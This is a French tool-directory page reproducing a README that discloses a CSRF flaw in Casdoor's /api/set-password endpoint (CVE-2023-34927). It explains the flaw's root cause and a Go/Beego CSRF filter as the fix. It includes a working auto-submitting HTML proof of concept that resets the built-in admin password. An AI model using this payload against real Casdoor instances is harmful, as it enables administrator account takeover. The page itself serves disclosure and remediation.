Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
csrf_casdoor — Preuve de concept d'exploitation CSRF pour le point de terminaison `/api/set-password` de Casdoor (CVE-2023-34927), permettant des modifications de mot de passe non autorisées via des requêtes POST intersites. Inclut un correctif de filtre CSRF basé sur Go. | Kitploit
Outils/GitHubGitHub/vanlam2001/csrf_casdoor
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionAuthentification
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Preuve de concept d'exploitation CSRF pour le point de terminaison `/api/set-password` de Casdoor (CVE-2023-34927), permettant des modifications de mot de passe non autorisées via des requêtes POST intersites. Inclut un correctif de filtre CSRF basé sur Go.

Voir le dépôt
11il y a 7 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Casdoor – Cross-Site Request Forgery (CSRF)

Résumé

  • Vulnérabilité : CSRF dans /api/set-password permettant de changer le mot de passe sans consentement.
  • Versions affectées : Toutes les versions du logiciel sont affectées. Aucune version corrigée n'est actuellement disponible.
  • CVE : CVE-2023-34927 (la dernière reste à attribuer).
  • Auteur de l'exploit : Van Lam Nguyen.
  • Testé sur : Windows

Impact

  • Si une victime est connectée à Casdoor, une requête POST cross-site peut changer le mot de passe de la victime (par exemple, built-in/admin), menant à une prise de contrôle du compte.

Prérequis de l'attaque

  • La victime est authentifiée et possède un cookie casdoor_session_id valide.
  • La victime visite une page malveillante qui soumet automatiquement un POST vers /api/set-password.

Preuve de concept

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Cause racine

  • Les points de terminaison modifiant l'état sous /api/* acceptent les requêtes authentifiées par cookie sans appliquer de vérifications de même origine (Origin/Referer) ni de jetons CSRF.

Aperçu du correctif

  • Ajouter un filtre CSRF côté serveur pour refuser les requêtes POST/PUT/DELETE/PATCH cross-site basées sur cookie sous /api/*.
  • Autoriser les requêtes portant une authentification explicite non basée sur cookie (par exemple, Authorization, Basic auth, identifiants client, ou accessToken) ou les requêtes sans cookies de session navigateur (appels serveur à serveur typiques).

Implémentation

  • Utiliser routers.CSRFFilter implémenté dans csrf_filter.go. Ce filtre :
    • Retourne immédiatement pour les méthodes ne modifiant pas l'état.
    • Autorise les requêtes avec authentification explicite non basée sur cookie.
    • Bloque les requêtes cross-site lorsqu'un cookie de session est présent et que l'origine ne correspond pas à l'hôte.

Comment intégrer dans Casdoor

  1. Copier csrf_filter.go dans le package routers existant du projet Casdoor. Ne rien modifier ni supprimer dans ce fichier.
  2. Enregistrer le filtre tôt dans le pipeline HTTP (à l'intérieur de main) :
    // Style Beego v1
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // Si votre projet utilise Beego v2 et l'importe comme `web` :
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Vérification

  • Après avoir enregistré le filtre, rejouer le PoC ci-dessus en étant connecté. La requête devrait être refusée avec Unauthorized operation et le serveur devrait journaliser CSRF check failed.
  • Les appels API cross-origin incluant des en-têtes Authorization ou des paramètres accessToken devraient continuer à fonctionner.

Fichiers du dépôt

  • csrf_filter.go : Filtre CSRF à copier dans le package routers de Casdoor.
  • poc.html : Page minimale reproduisant l'attaque CSRF.
  • README.md : Ce document décrivant la vulnérabilité et les étapes de correction.

Références

  • Casdoor : https://casdoor.org/
  • Version : https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Vidéo

  • Youtube : https://youtu.be/N5VENgiObjY
Télécharger l’outil